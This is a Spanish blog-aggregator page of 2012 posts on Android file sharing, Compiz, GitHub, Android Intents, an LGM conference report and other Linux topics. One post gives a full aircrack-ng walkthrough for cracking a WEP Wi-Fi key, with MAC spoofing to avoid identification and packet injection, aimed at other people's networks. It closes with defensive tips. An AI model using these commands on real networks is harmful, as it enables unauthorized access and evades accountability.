File Expert un gestor para Android con servidores FTP y HTTP

Introducción

Cuando el otro día publiqué el artículo “De tu Android al PC y viceversa vía FTP con Nautilus“, tanto Jorge Taboada, como Fernando Bueno comentaron sobre File Expert, así que me puse manos a la obra con toda la intención de probarlo, y tengo que agradecerles a ambos la propuesta, porque me parece una solución muy interesante, sobre todo, porque además realiza una integración de varias aplicaciones en una sola. Es decir, no solo es un gestor de aplicaciones, sino que además funciona como servidor FTP y HTTP y mucho mas.

file expert

File Expert

Como he mencionado en la introducción File Expert, es ante todo un administrador de archivos, que te permite realizar todas las operaciones básicas con archivos y carpetas, copiar, pegar, mover, crear, renombrar, etc. Las principales características de esta aplicación son las siguientes:

  • Administrador de archivos
  • Servidor FTP/HTTP que te permitirá transferir archivos vía FTP o a través de tu navegador, donde puedes gestionar con mucha facilidad todos los archivos y carpetas
  • Acceso root a carpetas y archivos, aunque para esto necesitarás tener rooteado tu android.
  • Cliente SMB, SFTP, FTP, FTPS. Lo que te permite acceder a tu ordenador desde tu Android, lo que te permitirá gestionarlo a través de WIFI mediante SMB, SFTP, FTP, FTPS
  • Tiene su propio gestor de Aplicaciones, que te permitirá desinstalar aplicaciones fácilmente, sin tener que acceder a Google Play
  • Gestor de archivos, que te permitirá crear y descomprimir archivos ZIP, descomprimir archivos RAR. Podrás ver tanto los archivos ZIP como los RAR como si estuvieras accediendo a una carpeta, lo que te facilitará descomprimir archivos o carpetas independientes.
  • Thumbnails o miniaturas, de archivos jpg, png, mp3, mp4 ó 3gp
  • Tiene integrado su propio visor de texto, que soporta archivos de texto plano largos.
  • Igual que el visor de texto, File Expert, también tien integrado si propio visor de imágenes, que te permitirá ver no solo las imágenes locales sino también las remotas.

Compartiendo via HTTP

Para compartir via HTTP, tienes que acceder a la opción “compartir mi contenido”:

Screenshot_2012-05-13-13-18-14

y seleccionar la opción “Iniciar compartir por Web”, lo que te mostrará un cuadro de diálogo similar a este:

Screenshot_2012-05-13-13-18-27

Donde te indica la dirección que tienes que poner en tu navegador de internet, Firefox, Chrome, Opera, …, el puerto, el nombre de usuario y la contraseña. Por ejemplo, en mi caso, he iniciado la sesión en mi Firefox, y esto es lo que puedes ver:

file expert

En la imagen anterior había iniciado la aplicación, “Galería”, que te permite ver todas las imágenes que tienes en tu Android. Si en lugar de seleccionar “Galería”, seleccionas “File Expert”, verás algo como lo que te muestro en la siguiente imagen:

file expert

Como he comentado en las características de la aplicación, soporta thumbnails o miniaturas para jpg, con lo que en la imagen anterior, puedes ver las miniaturas de las fotografías, lo que hace mas cómoda la navegación por el interior de nuestro Android.

Compartiendo vía FTP

La siguiente opción, es compartir vía FTP, para lo tenemos que seguir los mismos pasos iniciales que en el caso de la compartición vía HTTP, es decir, , tienes que acceder a la opción “compartir mi contenido”:

Screenshot_2012-05-13-13-18-14

y seleccionar la opción “Iniciar compartir por FTP”, lo que te mostrará un cuadro de diálogo similar a este:

Screenshot_2012-05-13-13-20-50

Ahora, puedes acceder a tu Android directamente desde Nautilus, tal y como indiqué en el artículo, “De tu Android al PC y viceversa vía FTP con Nautilus“, con un resultado como el que se muestra en la siguiente imagen:

file expert

Conclusiones

Desde luego, la comodidad de tener una sola aplicación para hacer todas las tareas administrativas de tu Android, es una gran ventaja. De echo, el administrador de archivos que tenía instalado en mi Android ha sido eliminado, al igual que la aplicación que utilizaba como servidor FTP, y ya veremos si no desinstalo alguna aplicación mas. Otra característica que me llama mucho la atención, y que no entiendo porque no la tienen todas las aplicaciones de Android es “Salir”, de esta forma te aseguras que sales de la aplicación y no se queda, File Expert, residente en memoria, no haciendo nada.

Más información | File Expert, Google Play

Artículos relacionados...

  1. Un escritorio WEB para tu Android en el navegador
  2. BotSync, sincronización automática entre tu android y Ubuntu
  3. WebDroid, o como acceder a tu Android desde Firefox ó Chrome
BlogDRAKE: Rosa Marathon 2012 lista y publicada.
Francisco Luque

Francisco Luque
LMDE Cosillas feed

Solución: MATE y Compiz (II)


Hoy vengo a exponer dos problemas y dos soluciones.
El primero ya es algo más viejo y se refiera a la imposibilidad de que Compiz por si sólo remplace a Marco (Gestor de ventanas de MATE) que es el Metacity de toda la vida.
Compiz ni tan siquiera lo reconoce y hasta ahora la mejor solución era la que expuse en el anterior artículo (aquí) que consistía en matar a Marco al inicio de sesión para que no siguiera ejecutándose en segundo plano junto a Compiz, disparando así el consumo de la cpu.

Este es un problema que comuniqué hace ya dos meses a los desarrolladores de MATE como podéis ver aquí:  GitHub.
Por ahora las soluciones dadas unas no causaban los efectos deseados y otras estando ya solucionadas en las  siguientes actualizaciones, no repercutían precisamente en este hecho.
El otro día szesch (como también podéis ver en el enlace anterior) me comentaba una posible solución que a él le funcionaba. Lamentablemente a mí no me daba ningún resultado hiciera lo que hiciera.
Al mismo tiempo que szesch (desarrollador en MATE)  exponía su solución, añadía un enlace muy interesante de Archlinux dedicado exclusivamente a Compiz. Y es aquí donde se me encendió la bombilla y vi algo que adaptándolo a MATE podría funcionar.

Tengo que decir que los resultados son estupendos y Compiz carga mejor que nunca y sin tener que utilizar el ya clásico --replace.
Los pasos a seguir son bien sencillos...


Hacer que Compiz remplace a marco

Abrimos el editor de configuración de MATE desde un terminal o desde su lanzador que se debería encontrar en el menú Aplicaciones/ Herramientas del sistema/Editor de Configuración.
Para ejecutarlo desde el terminal lo haremos así:
  • mateconf-editor
Si no lo tienes, instálalo así:
  • sudo apt-get install mate-conf-editor
Una vez abierto nos movemos hasta la siguiente rama y cambiamos su valor de este:
/desktop/mate /session/required_components /windowmanager marco
a este otro:
/desktop/mate /session/required_components /windowmanager compiz



Luego por último creamos un Aplicación al Inicio con el siguiente comando:
compiz ccp

Otra cosa que se debería cambiar pero que no es imprescindible, es la orden replace del  plugin de Compiz del Decorador de ventanas ya que una vez anulado Marco no será necesario utilizar el comando gtk-window-decorator --replace. podemos utilizar en su lugar /usr/bin/compiz-decorator.



Cerramos sesión y volvemos a entrar, y debería funcionar perfectamente.
Desde luego con esta pequeña modificación se nota considerablemente mucha más estabilidad de MATE con Compiz.


Hacer que Compiz cambie los Bordes de Ventanas

Solución 1:
El otro problema que aparecido ahora, es a la imposibilidad de que Compiz cambie los Bordes de ventanas que nosotros queramos. Estos cambian al instante si estamos usando Metacity o Marco, pero de ninguna de las maneras si utilizamos Compiz.
Una posible solución la encontré aquí:  GitHub dada por subchee 
Paso a detallar lo que yo hice:
Primero debemos saber el nombre exacto del Borde de ventana que queremos usar.
Para esto abriremos el Gestor de Apariencia y en la pestaña Tema pulsaremos Propiedades. lLuego nos moveremos hasta la pestaña Bordes de Ventana, donde veremos los nombre de todos los bordes instalados


Seleccionamos el borde deseado y tomamos buena nota de su nombre.
Ahora toca abrir el Administrador de Opciones de ConpizCong desde el menú Sistema/Preferencias.
Una vez abierto buscamos el plugin Decorador de venas y entramos en sus opciones.

 

En la sección Comando meremos la siguiente línea:

 gtk-window-decorator --replace

Es en esta línea, donde debemos añadir el nombre del tema de borde de ventana que queremos utilizar, de este modo:
gtk-window-decorator --replace --metacity-theme "Zukitwo-Dark"



Listo, a partir de ahora Compiz también utilizara el tema de borde de ventana que quieras.

Solución 2:
Abrimos el editor de configuración de MATE desde un terminal o desde su lanzador que se debería encontrar en el menú Aplicaciones/ Herramientas del sistema/Editor de Configuración.
Para ejecutarlo desde el terminal lo haremos así:
  • gconf-editor
Una vez abierto nos movemos hasta la siguiente rama y cambiamos el valor de esta:
/apps/metacity /general/theme  
por el tema deseado



Por cierto ya de pasada comentar que un Tema que se comporta perfectamente y que es prácticamente configurable al 100% ya que incorpora su propio gestor de configuración es...sí es ese en el que estás pensando : ORTA

BlogDRAKE: Bienvenido Mauricio Pacheco

MX Reproductor de vídeo para Android

Con este reproductor que os traemos hoy para sistemas Android tendréis todas las características que nos tienen acostumbrados en sistemas más populares y todo de forma gratuita. El MX Reproductor no sólo se sirve de la experiencia de llevar mucho tiempo desarrollando la aplicación, sino en ser el primero en adaptarse para los terminales más modernos y potentes. Su gran virtud está en los

May 13, 2012

El Escritorio del Lector #75

Un domingo más aquí estamos publicando una nueva edición de "El Escritorio del Lector". He de decir que ésta , salvo que haya participación,  va a ser la última edición de vuestra sección, ya que no hemos recibido más Escritorios por vuestra parte. Supongo que es posible que os hayáis cansado de ella, por lo que es mejor descansar un tiempo, y esperar que os animéis de nuevo a participar.

Como visitante #75 de vuestra sección tenemos a Rai Bermejo, quien participa por tercera vez y al que le agradecemos su implicación. Además adjunta tanto la configuración de los conky como el script para iniciarlos al mismo tiempo, y que os ponemos a disposición.




  • Tema de Ventanas: Lubuntu (Openbox)

Sólo nos queda agradecer a tod@s los que habéis participado tanto enviando vuestras capturas como comentando acerca de la sección. Y si queréis que sigamos con ella, sólo tenéis que participar enviando vuestra captura o capturas con sus correspondientes características, como Sistema Operativo, Fondo de Escritorio, Tema de Ventanas y Tema de iconos a escritorio@nosinmiubuntu.com 

Saludos.

May 12, 2012

Shelr, graba lo que ocurre en tu terminal

Conocía el otro día a través del blog de Nicolargo una aplicación que me pareció curiosa e interesante a la vez, sobre todo para aquellos que escriben tutoriales o manuales sobre cómo realizar ciertas cosas a través de la consola.

Se trata de shelr una utilidad que nos permite grabar todo lo que ocurre en nuestra terminal y después si queremos compartirlo con los demás subiéndolo a su a su web.

Lo podemos instalar en Archlinux desde yaourt:

yaourt -S shelr

Después si lo deseamos nos registramos en la página de Ŝelr.tv para poder subir los vídeos. Esto nos vendrá bien si estamos escribiendo un tutorial en nuestro blog y queremos incluir el vídeo en el post. Conseguiremos una API key, una combinación de números y letras, única para cada usuario que será la que nos identifique y desde nuestra terminal haremos:

shelr setup API key

Donde API key será esa combinación de números y letras.

Ahora, si estamos preparados ya podemos empezar a grabar.

Algunas de las opciones básicas:

Para empezar a grabar todo lo que ocurra en nuestra terminal:

shelr record

Después de haber lanzado este comando nos pedirá primero de todo un título y acto seguido ya podemos empezar a realizar nuestro manual.

Para parar de grabar lo haremos con exit o CTRL+d.

shelr list

Para listar todos los screencast que hayamos grabado con shelr. Se identifican con un número y el título que le hayamos dado.

shelr play número

Para reproducir el screencast que deseemos, el número que hemos de introducir es el que corresponda al vídeo que deseemos ver.

shelr push número

Para subirlo a la web.

Si queréis ver más opciones:

shelr --help

Para probarlo monté este vídeo, no hay ninguna demostración espectacular porque en este momento no se me ocurría nada, pero a modo de test y para que lo veáis en acción:

David González

David González
El blog de pico.dev feed

GitHub, repositorio Git para proyectos

GitHub
Git
El sistema de control de versiones Git tiene varias ventajas sobre los tradicionales herrramientas de control de versiones como puede ser Subversion y en está época muchos servicios están ya ofreciéndose a través de internet, las herramientas de control de versiones también. GitHub es un repositorio para hospedar proyectos de software que se basa en Git como herramienta de control de versiones todo ello a través de internet. A parte del repositorio Git para el código fuente otras características que ofrece son un gestor de peticiones, wikis y revisión de código. Además de poder trabajar de forma colaborativa haciendo forks de los proyectos de otras personas y enviándoles peticiones pull para los cambios que hagamos en sus proyectos.



Los pasos para poder crear nuestros propios repositorios en GitHub son varios pero nada complicados y están bien explicados en la documentación de GitHub. Primeramente deberemos crear una cuenta en GitHub eligiendo uno de los planes que nos ofrecen. Si los repositorios que vamos a crear van a contener código  abierto y van a ser públicos podremos usar el plan gratuito.


Una vez que tenemos nuestra cuenta deberemos configurar git para poder trabajar. Primeramente instalaremos el correspondiente paquete de git en nuestro sistema. Posteriormente deberemos crear un par de claves de SSH para poder hacer commits y trabajar en nuestros repositorios de forma segura.

ssh-keygen -b 8192 -t rsa -C "[email]"

Una vez generadas las claves tendremos que copiar el contenido de la clave pública en las preferencias de nuestra cuenta de GitHub en la sección de claves SSH. Podemos comprobar que hemos configurado la clave correctamente con:

$ ssh -T git@github.com -i "[clave privada]"

Ahora deberemos crear un repositorio de Git en GitHub, también en nuestro equipo en la carpeta donde lo guardemos y configurar algunas propiedades:

$ git init
$ git config github.user [usuario]
$ git config user.email [email]
$ git config github.token [token]
$ git remote add origin git@github.com:[usuario]/[repositorio].git

Si queremos podemos crear un archivo README utilizando alguno de los lenguajes de marcas disponibles para que los usuarios que llegue a la página del proyecto en GitHub sepan de que trata y cualquier otra información que creamos pueda serles de ayuda.

Ya solo nos queda hacer los primeros commits y enviarlos a GitHub con las siguientes comandos respectivamente:

$ ssh-add "[clave privada]" 
$ git commit -m 'first commit'
$ git push -u origin master

Referencia:
https://github.com/
http://git-scm.com/
Sistema de control de versiones distribuido, Git

May 11, 2012

Actualización de SLiM y solución al apagado y reinicio del sistema

En las actualizaciones que realicé durante esta semana en Archlinux se encontraba también SLiM a su versión 1.3.3-3, como he tenido el ordenador encendido durante todos estos días no me había dado cuenta que cuando desde el menú intentas apagar o reiniciar el equipo no lo hace, se cierra la sesión y vuelve a la pantalla de login de SLiM y sólo era posible hacerlo abriendo una tty, logueándome como root y desde ahí ejecutar la orden reboot o halt para reiniciar o apagar.

Unas semanas atrás cuando os contaba que había cambiado mi gestor de inicio de sesión de GDM a SLiM, os explicaba como configurarlo para que todo funcionase correctamente, en el apartado donde hay que editar el .xinitrc de nuestro usuario, en el caso de gnome, lo tenía puesto así, porque si no, creo recordar que no aparecían o no funcionaban estas opciones:

exec ck-launch-session gnome-session

Ahora con esta nueva actualización, para poder apagar o reiniciar el sistema hemos de modificarlo, siempre y cuando uséis la versión 1.3.3, debemos hacer:

nano ~/.xinitrc

y dejarlo así:

  GNU nano 2.2.6       Fichero: /home/pinkpanth/.xinitrc                        

#!/bin/sh
#
# ~/.xinitrc
#
# Executed by startx (run your window manager from here)

if [ -d /etc/X11/xinit/xinitrc.d ]; then
  for f in /etc/X11/xinit/xinitrc.d/*; do
    [ -x "$f" ] && . "$f"
  done
  unset f
fi

exec gnome-session
# exec startkde
# exec startxfce4
# ...or the Window Manager of your choice

Y de nuevo ya vuelven a funcionar las opciones de apagar y reiniciar desde el menú.

Fuente: Foros Archlinux – SLiM: Problema con usuario, perdió permisos.

SLiM – ArchWiki

May 10, 2012

BlogDRAKE: Ya está disponible Mageia 2 RC

May 09, 2012

Cómo abrir aplicaciones en Android: Intents

Buenas, muchas veces os habreis fijado que las aplicaciones que manejais en vuestro movil al pinchar en un enlace o un botón abren vuestro navegador y van a una determinada página, os permiten compartir un enlace, llaman a un número o envian un correo. En definitiva, tienen una determinada información e invocan otras aplicaciones en vuestro móvil para que no tengais que implementar esas acciones en vuestra aplicación.

Estas llamadas se hacen con los Intent. Android las define como la descripción abstracta de una operación que va a ser llevada a cabo. O para que nos entendamos todos, los Intent sirven para llamar a Activities dentro de nuestra aplicación, o como vamos a ver hoy, fuera de ella.


Como suelo hacer en la mayoría de los casos, me hago una clase donde tengo los métodos que os voy a describir a continuación. En este caso le podemos llamar IntentManager. El primero de los métodos que veremos será como invocar a un navegador para que vaya a una url.


public static void navegateToUrl(Activity activity, String url){
Intent i = new Intent(Intent.ACTION_VIEW);
i.setData(Uri.parse(url));
activity.startActivity(i);
}


Como podéis ver el método es muy sencillo, se crea un nuevo intent, indicando que su tipo de acción es ACTION_VIEW, y convertimos a un objeto Uri la cadena de texto con la url y por último iniciamos la actividad. El siguiente método es para compartir un enlace a través de las redes sociales disponibles en el móvil.


public static void share(Activity activity,String linkShare, String titleShare){
Intent intent = new Intent(Intent.ACTION_SEND);

intent.setType("text/plain");
intent.putExtra(Intent.EXTRA_SUBJECT, titleShare);
intent.putExtra(Intent.EXTRA_TEXT, linkShare);

activity.startActivity(Intent.createChooser(intent, "Compartir"));
}


En este caso la acción es ACTION_SEND, indicamos que enviamos texto, el SUBJECT será el texto que pondremos en la red social y TEXT el enlace que compartimos. Por último, iniciamos la actividad con un Intent.createChooser para seleccionar la red social y con un texto para el título de la ventana de selección.


public static void sendEmail(Activity activity, String Address){
Intent emailIntent = new Intent(Intent.ACTION_SEND);
emailIntent.setType("plain/text");
emailIntent.putExtra(android.content.Intent.EXTRA_EMAIL, new String[]{Address});
activity.startActivity(Intent.createChooser(emailIntent, "Enviar mail"));
}


Con el método anterior podemos enviar un correo preseleccionando para el usuario la dirección a la que enviaremos el mail. Si se quiere poner un asunto o un mensaje predefinido podemos hacerlo con las siguientes líneas:


emailIntent .putExtra(android.content.Intent.EXTRA_SUBJECT, Subject);

emailIntent .putExtra(android.content.Intent.EXTRA_TEXT, BodyText);



Otra de las acciones comunes en una aplicación es poder realizar una llamada, lo podemos hacer mediante este método. En esta ocasión la acción es un ACTION_CALL y el teléfono lo parseamos a un objeto Uri.


public static void callPhoneNumber(Activity activity,String phone) {
Intent callIntent = new Intent(Intent.ACTION_CALL);
callIntent.setData(Uri.parse("tel:"+phone));
activity.startActivity(callIntent);
}


El último de los intent que voy a mostraros va a abrir el navegador y para navegar hasta una dirección que le indiquemos.


public static void routeTo(Activity activity, String destiny){
Intent i = new Intent(Intent.ACTION_VIEW, Uri.parse("google.navigation:q="+destiny));
activity.startActivity(i);
}


En este caso la acción es un ACTION_VIEW, pero le decimos que abra el navegador parseando a un objeto Uri y añadiendo "google.navigation:q=" a nuestro destino. Los valores validos para destiny son los mismos que si buscarais algo en la web de Google Maps, pero con algunas cosillas. Si ponemos una dirección, por ejemplo: Puerta de Alcala, Madrid, España, debemos sustituir los espacios por el símbolo más (+). Podemos poner unas coordenadas GPS, pero al contrario de lo que hicimos en los capítulos de Google Maps, las coordenadas las tenemos que poner así: "43.007230,-7.556199". Si os fijáis tienen punto decimal.

Bueno, hasta aquí llegan los ejemplos. Hay muchas más formas de utilizar los intents, y en función de lo que queráis hacer podréis lanzar vuestras aplicaciones favoritas haciendo vuestra aplicación mucho más rica en recursos y atractiva para los usuarios.
Ramón Miranda

Ramón Miranda
Ramon Miranda feed

Slides from LGM 2012 Talk. Digital Painting with open source tools

I have asked about my Slides so there you have it. I don´t know if this is the best way to share slides , so ideas are welcome. I hope you like it

Digital Painting LGM



Ramón Miranda

Ramón Miranda
Ramon Miranda feed

Personal LGM 2012 report

Written in the airplane

"Hi all, LGM is over and we have to return real life. No more workshops and friendly talks at least face to face.
I am flying right now to Bilbao and is hard to describe my first meeting with the LGM event. Is a mix of different feelings, all interesting in fact, and these will be with me the rest of my life.

As Mairin Duffy said, these are moments where we really feel the open source feeling and we are happy and comfortable among the different project developers.

My first contact was with the Flossmanuals and Scribus team people : Elisa Castro, Cedric Gemy, Alessandro, Claudia, Louie,. (Timothee Giet arrived one day later) and it was very nice to see how i was received. Claudia brought me some food (it was 1am ) but we were talking till late.

First Day. Wednesday 2
First morning was absolutelly crazy. We started with colour management, and you know this is not the easiest part of Digital image field. Richard Huges presented a good talk showing his project (colorimeter)and talking about how the project evolved during the process, But he is a native english speaker and talked too fast imo and other people. The same for the rest on the morning.
So imagine my first impressions. I was shocked and i had to give my talk there tomorrow. I decided to speak slower and taking lot of care of microphone stuff. We cant miss anything more.

I had to go to the apartment in the evening to wait for my lost suitcase.(yes the airlines lost my suitcase, long story) I was waiting , and waiting, but my suitcase was dissapeared yet. I decided to call them and Surprise ! They sent my the suitcase to another Adress in Vienna. :S

Thursday 3

Inkscape talk.
it was the time for inkscape and more development stuff. Inkscape is getting more and more powerful and the developers are so interested in promote and help that after the talk.


My Talk : Digital Painting With open source tools. 
I tried to do my best explaining with examples my 30 min talk. I am very happy and proud because people were asking some interesting questions. Really cool and instructive experience.the talk was created to be motivational for coders, demostrative for users, and not complicated for non users and visits.

After that i was more in relaxed, and i enjoyed more the LGM. Thanks to Elisa Castro who was my french translator and PR for these days i was very comfortable between french talking people. 

another epic moment, this day Gimp 2.8 was released

Friday 4
Gimp Day. Open CL and GEGL  this day and lot of goats. Mitch and Pippin gave a talk about how GEGL is a very interesting gimp feature with lot of good things to discover. They made some examples showing for example how gegl afects the way indexed images react, how to manipulate EXR files and again more technical stuff. Their work has been in the shadows for a long time but now is ready to show it. Good job! 



Saturday 5
The Day for Krita and Synfig. LukasT presented the new features of Krita 2.4. Krita created a very good feeling and i can see more and more people interested in this project. LukasT is a very nice guy and he listen always carefully what users said. good feedback. we talked more later about new ideas for future.

Konstantin from Synfig project, presented a talk about Remake. i have to give it a try because the program looks interesting and is very well documented.
 
Animtim had to give a workshop about Krita, and was a total success. The room was full and people were listening and watching what he did.
In another room Gimp team had a meeting. Mypaint (Martin and Jonnor) and Konstantin (Synfig, Morevna open movie) were there too.
The talk was nice, with a good collaboration and open mind feeling. Schumacher was transcripting the basic ideas by IRC in #gimp channel.
We talked about lot of things like:
  • Presets packs and previews. (icons vs previews)
  • Dynamics Save button (reset State)
  • Performance
  • Workspaces
  • Gegl and future filters.
  • New Save and export change
  • Remove deprecated things
  • Web stuff
I felt comfortable with the gimp team.

Sunday 6
My sightseeing day. Wonderful day in Prater and different important places of Vienna. I was at Prater with Ricardo Lafuente, Ana Carvalho (from Libregraphicsmag) and Diana.
Viena has a lot of wonderful places to visit and enjoy. The monuments scale is huge and is impressive how they look on sunset.







Monday 7
Airport Day. I hate airports, you all know, but in this case it has been not so boring, because i was thinking about what i have done during the LGM. Exhausting experience but i will repeat the next year if i can.







Extra LGM

Metalab People is Great. First time we went they were so charm.. Pepi one of the partners, showed the entire metalab, a very nice Hackerspace full of Creative things. Like 3d printers, wood machines, photo lab, chill out space with Video consoles and TV... Pepi talked more about how they are organized. I asked about his manifesto and he showed me the metalab website.

After that i met Silvia Schiuliani from ParticipativeDesign, what a charm girl. Her talk at LGM was so interesting that i asked if i can copy it to use some of her quotes with very good ideas that makes you think about the psicological and social part of open source. We were talking a bit more while we were dinning at metalab. Her Talk



More info and reports
  • Nicu Buculei (Nicu) http://nicubunu.blogspot.com.es/2012/05/
  • Animtim (Timothee Giet) http://timotheegiet.com/blog/floss/lgm-2012-a-crazy-week-in-vienna.html
  • LukasT (Lukáš Tvrdý) http://lukast.mediablog.sk/log/?p=420


May 07, 2012

David González

David González
El blog de pico.dev feed

Obtener la clave de una red WIFI WEP

Obtener la clave con la que está protegida una red WIFI con seguridad WEP no es excesivamente complicado para una persona que tiene unos pocos conocimientos sobre informática, sabe buscar, leer y no le da miedo el terminal. Aún así hay que tener en cuenta que acceder a una red WIFI que no conocemos y que no sabemos de quien es no es recomendable ya que podemos ser victimas de que accedan a los datos que transmitimos.

Si aún sabiendo esto queremos acceder a una, para obtener la clave de las redes WIFI con seguridad WEP necesitamos una serie de programas que en la mayoría de distribuciones Linux son muy fáciles de instalar a través de sus gestoresde paquetes, necesitaremos aircrack-ng y macchanger. En el momento que probé a hacerlo con Arch Linux, parece que el el aircrack-ng tenía un problema con los canales de las WIFI asi que tuve que optar por usar BackTrack. La distribución de Linux BackTrack ya los trae instalados asi que solo tendriamos que desgargar una vesión de esta, grabarla en un CD y iniciar el equipo con ella.

Los pasos para obtener la clave de una red WIFI con seguridad WEP son:

Ponemos la tarjeta en modo promíscuo para escuchar todos los paquetes que circulen por la red:

$ sudo airmon-ng start wlan0


Cambiamos la dirección MAC de nuestra tarjeta de red inalámbrica para evitar trabajar con la nuestra y que nos identifiquen:

$ sudo ifconfig mon0 down

$ sudo macchanger -m 00:11:22:33:44:55 mon0

$ sudo ifconfig mon0 up


Escaneamos las redes que están cerca nuestro, buscamos una con cifrado WEP:

$ sudo airodump-ng mon0


Empezamos a volcar el tráfico de la red para que aircrack pueda averiguar la clave (este paso y los dos siguientes se realizan de forma simultanea en terminales diferentes):

$ sudo airodump-ng -c [CH] -w [ESSID] --bssid [BSSID] mon0


Inyectamos tráfico de forma artificial en la red para que el proceso sea más rápido:

$ sudo aireplay-ng -1 6000 -a [BSSID] -h 00:11:22:33:44:55 mon0

$ sudo aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b [BSSID] -h 00:11:22:33:44:55 mon0


Ponemos a aircrack a trabajar para descifrar la clave:

$ sudo aircrack-ng -z [ESSID]*.cap


Ya solo nos queda esperar un rato hasta que aircrack capture los paquetes suficientes y nos proporcione la clave en forma de 5 pares de caracteres.

Asi que no tengas una falsa sensación de seguridad por tener una red WIFI protegida con una seguridad WEP, incluso las redes WIFI con seguridad WPA/PSK que son un poco más seguras obtener la clave de estas también es posible. Dado que tener una red WIFI WEP o WPA/PSK no nos evita estar a salvo de intrusos algunas acciones que podemos tomar son: no usar WEP y al menos usar WPA/PSK (que tampoco es segura pero es mejor que WEP), cambiar la clave cada unas semanas (tampoco nos evita estar a salvo pero le será una molestia para quien intente acceder a nuestra WIFI), apagar la red WIFI si no la utilizamos y no dejarla siempre encendida (esto hará que alguien que este buscando una red WIFI a la que conectarse opte por otra que no sea la nuestra por no tener WIFI siempre que quiera), activa el filtrado MAC del router WIFI (así solo nuestros equipos podrán conectarse a eĺ) y ocultar la red no difundiendo el nombre, SSDI, de nuestra red (para alguien con pocos conocimientos optará primero por las redes que vea en vez de las redes WIFI ocultas).

Algunos motivos para evitar tener intrusos en nuestra red son disponer de todo el ancho de banda por el que pagamos, evitar que alguien utilice nuestra red para realizar acciones ilegales o acciones delictivas a través de ella, evitar que accedan a nuestros equipos y a nuestros documentos, claves de los servicios que utilizamos o datos de nuestras tarjetas bancarias o cuentas. Lo principal será prevenir estos poco frecuentes pero posibles problemas.

Referencia:
http://www.aircrack-ng.org/doku.php?id=aircrack-ng
http://www.atareao.es/ubuntu/conociendo-ubuntu/como-crackear-una-red-wifi-cifrada-con-wep-en-ubuntu/
http://www.pdaexpertos.com/Tutoriales/Comunicaciones/Seguridad_en_redes_inalambricas_WiFi.shtml

May 05, 2012

Descripció de l'arquitectura del Catalanitzador per a Windows

Fa uns dies vaig començar una sèrie d'apunts blocs sobre el Catalanitzador per a Windows. Avui he pujat al github del projecte una primera documentació inicial de l'arquitectura de l'aplicació ja que penso pot ajudar a altres comunitats lingüístiques que estan mirant d'adaptar el Catalanitzador així com a actuals i futurs col·laboradors. La documentació completa està en anglès però faré cinc cèntims en català.
 
El Catalanitzador és una aplicació client / servidor tradicional: 



Els clients Windows s'executen, serialitzen un XML amb les dades d'execució, que envien al servidor, aquest les procesa i les emmagatzema a una base de dades. Després aquestes dades es poden consultar a través de la pàgina d'estadístiques.
 
L'aplicació per al Windows té al voltant de 15.000 lines de codi. Usa la tipica arquitectura per capes on components de les capes més altes sempre consumeixen els de les capes més baixes:
 
 
 
Patrons de disseny

Durant la implementació he seguit sempre he estat possible els principis de disseny SOLID, malgrat no sempre he estat tot l'ortodox que m'hagués agradat penso que hi ha poques violacions d'aquests principis i les que hi ha són en general justificables. 
 
Una de les decisions inicials era que usaríem proves unitàries, no tinc calculada la cobertura però tenim al voltant de 90 proves unitàries. Molta gent pensa que les proves unitàries són útils per fer proves de regressió (que és cert), però per mi són sobretot un principi de disseny. A l'escriure proves unitàries es garanteixen que les classes tindran acoplament baix. He fet servir poc TDD en general ja que moltes de les classes les tenia que refer cada poc temps a mida que anàvem descobrint noves limitacions d'algunes versions de Windows, paquets d'idioma, etc. TDD requereix molta auto-disiciplina que definitivament no he tingut en la majoria de casos en aquest projecte.

Un dels reptes d'usar proves unitàries en una aplicació que depèn tant del sistema com el Catalanitzador és aïllar aquestes dependències per poder exercitar la lògica de l'aplicació per se. Per això la majoria de funcionalitat del sistema operatiu està encapsulada en classes (registry, XMLParser, Runner, etc) per tal de poder després usar mocking (usant Google Mock que és una virgueria) per simular el comportament de Windows durant l'execució de proves unitàries. Per últim, he empleat també el patró d'injecció de dependències (en aquest cas a través de constructors) per tal obtenir inversió de control en aquests casos.
 
Extensibilitat
 
Un dels principis de disseny del Catalanitzador va ser fer-ho fàcilment extensible. És a dir, disposar d'una mena de sistema de connectors (pluggins) que permetessin de forma senzilla ampliar la funcionalitat i suportar nous programes. El sistema és força senzill, la interfície Action (bé, una classe abstracta ja que amb C++ no en tenen) que un cop implementada permet registrar una nova funcionalitat de forma automàtica. Al crear un nou connector i registrar-lo, automàticament aquest apareix a la interfície d'usuari, es pot escollir i executar, es seralitza el seu contingut, etc. 
 
Ens cal ajuda

Si teniu interès en ajudar en el procés de proves o desenvolupament aquí teniu la informació. Ens cal ajuda!
 

May 04, 2012

Solución al error de codificación en nautilus-image-converter

Cuando hace algunos meses en wordpress cambié de tema y me instalé el que estoy usando ahora, observé que existían unos archivos con extensión .po y .mo.

Los archivos .po son los archivos orginales de traducción, sobre los que se trabaja y en su momento vimos que podíamos hacer correcciones o cambios sobre ellos con una aplicación llamada Poedit y desde este archivo y con este software podemos compilar y generar los archivos .mo, que son los que leen la traducción.

Hasta aquí, todo más o menos claro…

La cuestión es que el script para nautilus llamado nautilus-image-converter, tiene un bug o fallo o llamarlo como queráis, no sé si a todo el mundo le ocurre pero a mí me aparecía así:

Obviamente se entiende bien lo que es cada opción, pero me molestaba ver esos caracteres, así que quise arreglarlo para que mostrara correctamente las eñes y acentos.

En la carpeta /usr/share/locale/es/LC_MESSAGES podemos encontrar el archivo nautilus-image-converter.mo, quería editarlo para arreglar manualmente este pequeña fallo, Poedit no me servía pues para ello necesito primero el fichero con extensión .po pero no pude localizarlo en mi sistema. Se me ocurrió a ver si podía encontrarlo en la página de traducción de los paquetes de gnome pero tampoco tuve suerte.

Entonces buscando por internet encontré una solución.

Incluído ya por defecto en nuestra distribución gnu/linux existe un paquete llamado gettext, (si no lo tenemos podemos instalarlo desde los repositorios oficiales fácilmente) y dentro de este varias utilidades, entre ellas para generar desde un archivo .po un .mo y a la inversa, que es lo que a mí me interesaba, es decir del archivo que yo ya tengo nautilus-image-converter.mo generar nautilus-image-converter.po para poder editarlo y corregirlo con Poedit.

Para ello lo primero que vamos hacer es copiar el original a nuestra carpeta de usuario o donde más nos convenga para poder trabajar con él:

cp /usr/share/locale/es/LC_MESSAGES/nautilus-image-converter.mo /home/usario

Ahora le pasamos el comando msgunfmt que sirve para descompilar el fichero .mo y obtener el archivo original de traducción .po que es el que nos faltaba:

msgunfmt nautilus-image-converter.mo > nautilus-image-converter.po

